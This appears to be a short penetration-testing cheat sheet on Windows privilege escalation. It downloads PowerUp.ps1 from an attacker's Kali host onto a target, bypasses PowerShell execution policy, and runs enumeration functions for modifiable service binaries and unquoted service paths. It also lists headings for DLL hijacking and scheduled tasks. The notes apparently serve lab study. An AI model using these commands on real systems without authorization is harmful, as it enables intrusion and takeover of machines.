Windows

Enumeration

Import the PowerUp.ps1 from Kali to target machine

iwr -uri http://<Kali IP Address>/PowerUp.ps1 -Outfile PowerUp.ps1

Override system's execution policy

powershell -ep bypass

Import the functions from PowerUp.ps1

. .\PowerUp.ps1

Service Binary Hijacking

Enumerate a list of modifiable service binary files

Get-ModifiableServiceFile

DLL Hijacking

Procmon

Unquoted Service Paths

Enumerate a list of unquoted service paths

Get-UnquotedService

Privilege Escalation Methods

Service Binary Hijacking

DLL Hijacking

Unquoted Service Paths

Scheduled Tasks

Exploits